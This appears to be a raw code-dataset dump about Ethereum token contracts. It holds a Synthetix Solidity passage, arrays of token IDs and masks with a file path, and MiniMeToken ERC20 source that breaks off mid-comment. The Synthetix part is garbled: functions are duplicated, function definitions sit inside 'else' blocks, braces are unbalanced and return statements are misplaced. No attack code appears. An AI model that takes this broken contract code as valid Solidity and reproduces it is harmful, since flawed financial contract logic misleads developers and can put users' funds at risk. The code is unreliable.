= xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } } else { function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); _appendAccountIssuanceRecord(); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint debt = debtBalanceOf(messageSender, "XDR"); uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToRemove = debt < debtToRemove ? debt : debtToRemove; _removeFromDebtRegister(amountToRemove); uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount; synths[currencyKey].burn(messageSender, amountToBurn); _appendAccountIssuanceRecord(); } function _appendAccountIssuanceRecord() internal { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender); feePool.appendAccountIssuanceRecord( messageSender, initialDebtOwnership, debtEntryIndex ); } function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } } else { function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } } else { synthetixState.appendDebtLedgerValue( function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; return max.sub(alreadyIssued); } } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; return max.sub(alreadyIssued); } } } else { function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; return balance.sub(lockedSynthetixValue); } } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; return balance.sub(lockedSynthetixValue); } } } else { function mint() external returns (bool) { require(rewardEscrow != address(0), "Reward Escrow destination missing"); uint supplyToMint = supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); supplySchedule.updateMintValues(); uint minterReward = supplySchedule.minterReward(); tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward))); emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward)); feePool.rewardsMinted(supplyToMint.sub(minterReward)); tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(this, msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } modifier onlyOracle { require(msg.sender == exchangeRates.oracle(), "Only the oracle can perform this action"); _; } bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } }
7,803,030
[ 1, 10503, 451, 278, 697, 4232, 39, 3462, 6835, 18, 225, 1021, 16091, 451, 278, 697, 20092, 486, 1338, 5853, 330, 305, 815, 29375, 16, 431, 6329, 16, 471, 13933, 324, 26488, 16, 1496, 518, 2546, 15881, 326, 10457, 434, 1656, 281, 1517, 6194, 451, 278, 697, 10438, 353, 3281, 305, 1259, 358, 18, 19, 422, 1432, 7442, 22965, 55, 422, 1432, 15633, 16091, 451, 87, 1492, 848, 506, 1399, 598, 326, 2619, 422, 1432, 3492, 13915, 916, 422, 1432, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 16091, 451, 278, 697, 353, 1312, 798, 1119, 1345, 288, 203, 203, 203, 565, 16091, 451, 8526, 1071, 2319, 10503, 451, 87, 31, 203, 565, 2874, 12, 3890, 24, 516, 16091, 451, 13, 1071, 6194, 451, 87, 31, 203, 203, 565, 11083, 1340, 2864, 1071, 14036, 2864, 31, 203, 565, 4437, 878, 451, 278, 697, 6412, 492, 1071, 2904, 492, 31, 203, 565, 4437, 878, 451, 278, 697, 6412, 492, 1071, 19890, 6412, 492, 31, 203, 565, 18903, 20836, 1071, 7829, 20836, 31, 203, 565, 16091, 451, 278, 697, 1119, 1071, 6194, 451, 278, 697, 1119, 31, 203, 565, 3425, 1283, 6061, 1071, 14467, 6061, 31, 203, 203, 565, 1426, 3238, 17862, 21719, 273, 629, 31, 203, 203, 565, 533, 5381, 14275, 67, 1985, 273, 315, 10503, 451, 278, 697, 5128, 3155, 14432, 203, 565, 533, 5381, 14275, 67, 22093, 273, 315, 13653, 60, 14432, 203, 565, 2254, 28, 5381, 25429, 55, 273, 6549, 31, 203, 565, 1426, 1071, 7829, 1526, 273, 638, 31, 203, 203, 203, 565, 3885, 12, 2867, 389, 5656, 16, 3155, 1119, 389, 2316, 1119, 16, 16091, 451, 278, 697, 1119, 389, 11982, 451, 278, 697, 1119, 16, 203, 3639, 1758, 389, 8443, 16, 18903, 20836, 389, 16641, 20836, 16, 11083, 1340, 2864, 389, 21386, 2864, 16, 3425, 1283, 6061, 389, 2859, 1283, 6061, 16, 203, 3639, 4437, 878, 451, 278, 697, 6412, 492, 389, 266, 2913, 6412, 492, 16, 4437, 878, 451, 278, 697, 6412, 492, 389, 742, 492, 16, 2254, 389, 4963, 3088, 1283, 203, 565, 262, 2 ]
./full_match/97/0xEaDA049496EC20a6Fb1E1986a359eE78E206A502/sources/contracts/Perso/ShibConnect.sol
0.4% to tertiary referrer
referralTreeFees[2] = 40;
5,019,958
[ 1, 20, 18, 24, 9, 358, 268, 1051, 77, 814, 14502, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1278, 29084, 2471, 2954, 281, 63, 22, 65, 273, 8063, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; interface ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes _data ) external; } /** * @dev The token controller contract must implement these functions */ interface TokenController { /** * @notice Called when `_owner` sends ether to the MiniMe Token contract * @param _owner The address that sent the ether to create tokens * @return True if the ether is accepted, false if it throws */ function proxyPayment(address _owner) external payable returns(bool); /** * @notice Notifies the controller about a token transfer allowing the * controller to react if desired * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint _amount) external returns(bool); /** * @notice Notifies the controller about an approval allowing the * controller to react if desired * @param _owner The address that calls `approve()` * @param _spender The spender in the `approve()` call * @param _amount The amount in the `approve()` call * @return False if the controller does not authorize the approval */ function onApprove(address _owner, address _spender, uint _amount) external returns(bool); } contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; constructor() internal { controller = msg.sender; } /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public onlyController { controller = _newController; } } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @title MiniMeToken Contract * @author Jordi Baylina * @dev This token contract&#39;s goal is to make it easy for anyone to clone this * token using the token distribution at a given block, this will allow DAO&#39;s * and DApps to upgrade their features in a decentralized manner without * affecting the original token * @dev It is ERC20 compliant, but still needs to under go further testing. */ // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 interface ERC20Token { /** * @notice send `_value` token to `_to` from `msg.sender` * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _value) external returns (bool success); /** * @notice `msg.sender` approves `_spender` to spend `_value` tokens * @param _spender The address of the account able to transfer the tokens * @param _value The amount of tokens to be approved for transfer * @return Whether the approval was successful or not */ function approve(address _spender, uint256 _value) external returns (bool success); /** * @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of token to be transferred * @return Whether the transfer was successful or not */ function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); /** * @param _owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address _owner) external view returns (uint256 balance); /** * @param _owner The address of the account owning tokens * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens allowed to spent */ function allowance(address _owner, address _spender) external view returns (uint256 remaining); /** * @notice return total supply of tokens */ function totalSupply() external view returns (uint256 supply); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract MiniMeTokenInterface is ERC20Token { /** * @notice `msg.sender` approves `_spender` to send `_amount` tokens on * its behalf, and then a function is triggered in the contract that is * being approved, `_spender`. This allows users to use their tokens to * interact with contracts in one function call instead of two * @param _spender The address of the contract able to transfer the tokens * @param _amount The amount of tokens to be approved for transfer * @return True if the function call was successful */ function approveAndCall( address _spender, uint256 _amount, bytes _extraData ) external returns (bool success); /** * @notice Creates a new clone token with the initial distribution being * this token at `_snapshotBlock` * @param _cloneTokenName Name of the clone token * @param _cloneDecimalUnits Number of decimals of the smallest unit * @param _cloneTokenSymbol Symbol of the clone token * @param _snapshotBlock Block when the distribution of the parent token is * copied to set the initial distribution of the new clone token; * if the block is zero than the actual block, the current block is used * @param _transfersEnabled True if transfers are allowed in the clone * @return The address of the new MiniMeToken Contract */ function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address); /** * @notice Generates `_amount` tokens that are assigned to `_owner` * @param _owner The address that will be assigned the new tokens * @param _amount The quantity of tokens generated * @return True if the tokens are generated correctly */ function generateTokens( address _owner, uint _amount ) public returns (bool); /** * @notice Burns `_amount` tokens from `_owner` * @param _owner The address that will lose the tokens * @param _amount The quantity of tokens to burn * @return True if the tokens are burned correctly */ function destroyTokens( address _owner, uint _amount ) public returns (bool); /** * @notice Enables token holders to transfer their tokens freely if true * @param _transfersEnabled True if transfers are allowed in the clone */ function enableTransfers(bool _transfersEnabled) public; /** * @notice This method can be used by the controller to extract mistakenly * sent tokens to this contract. * @param _token The address of the token contract that you want to recover * set to 0 in case you want to extract ether. */ function claimTokens(address _token) public; /** * @dev Queries the balance of `_owner` at a specific `_blockNumber` * @param _owner The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at `_blockNumber` */ function balanceOfAt( address _owner, uint _blockNumber ) public constant returns (uint); /** * @notice Total amount of tokens at a specific `_blockNumber`. * @param _blockNumber The block number when the totalSupply is queried * @return The total amount of tokens at `_blockNumber` */ function totalSupplyAt(uint _blockNumber) public view returns(uint); } /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @title MiniMeToken Contract * @author Jordi Baylina * @dev This token contract&#39;s goal is to make it easy for anyone to clone this * token using the token distribution at a given block, this will allow DAO&#39;s * and DApps to upgrade their features in a decentralized manner without * affecting the original token * @dev It is ERC20 compliant, but still needs to under go further testing. */ /** * @dev The actual token contract, the default controller is the msg.sender * that deploys the contract, so usually this token will be deployed by a * token controller contract, which Giveth will call a "Campaign" */ contract MiniMeToken is MiniMeTokenInterface, Controlled { string public name; //The Token&#39;s name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme /** * @dev `Checkpoint` is the structure that attaches a block number to a * given value, the block number attached is the one that last changed the * value */ struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /** * @notice Constructor to create a MiniMeToken * @param _tokenFactory The address of the MiniMeTokenFactory contract that * will create the Clone token contracts, the token factory needs to be * deployed first * @param _parentToken Address of the parent token, set to 0x0 if it is a * new token * @param _parentSnapShotBlock Block of the parent token that will * determine the initial distribution of the clone token, set to 0 if it * is a new token * @param _tokenName Name of the new token * @param _decimalUnits Number of decimals of the new token * @param _tokenSymbol Token Symbol for the new token * @param _transfersEnabled If true, tokens will be able to be transferred */ constructor( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { require(_tokenFactory != address(0)); //if not set, clone feature will not work properly tokenFactory = MiniMeTokenFactory(_tokenFactory); name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = MiniMeToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /** * @notice Send `_amount` tokens to `_to` from `msg.sender` * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return Whether the transfer was successful or not */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /** * @notice Send `_amount` tokens to `_to` from `_from` on the condition it * is approved by `_from` * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) { return false; } allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /** * @dev This is the actual transfer function in the token contract, it can * only be called by other functions in this contract. * @param _from The address holding the tokens being transferred * @param _to The address of the recipient * @param _amount The amount of tokens to be transferred * @return True if the transfer was successful */ function doTransfer( address _from, address _to, uint _amount ) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false uint256 previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint256 previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); return true; } function doApprove( address _from, address _spender, uint256 _amount ) internal returns (bool) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[_from][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { require(TokenController(controller).onApprove(_from, _spender, _amount)); } allowed[_from][_spender] = _amount; emit Approval(_from, _spender, _amount); return true; } /** * @param _owner The address that&#39;s balance is being requested * @return The balance of `_owner` at the current block */ function balanceOf(address _owner) external view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /** * @notice `msg.sender` approves `_spender` to spend `_amount` tokens on * its behalf. This is a modified version of the ERC20 approve function * to be a little bit safer * @param _spender The address of the account able to transfer the tokens * @param _amount The amount of tokens to be approved for transfer * @return True if the approval was successful */ function approve(address _spender, uint256 _amount) external returns (bool success) { doApprove(msg.sender, _spender, _amount); } /** * @dev This function makes it easy to read the `allowed[]` map * @param _owner The address of the account that owns the token * @param _spender The address of the account able to transfer the tokens * @return Amount of remaining tokens of _owner that _spender is allowed * to spend */ function allowance( address _owner, address _spender ) external view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @notice `msg.sender` approves `_spender` to send `_amount` tokens on * its behalf, and then 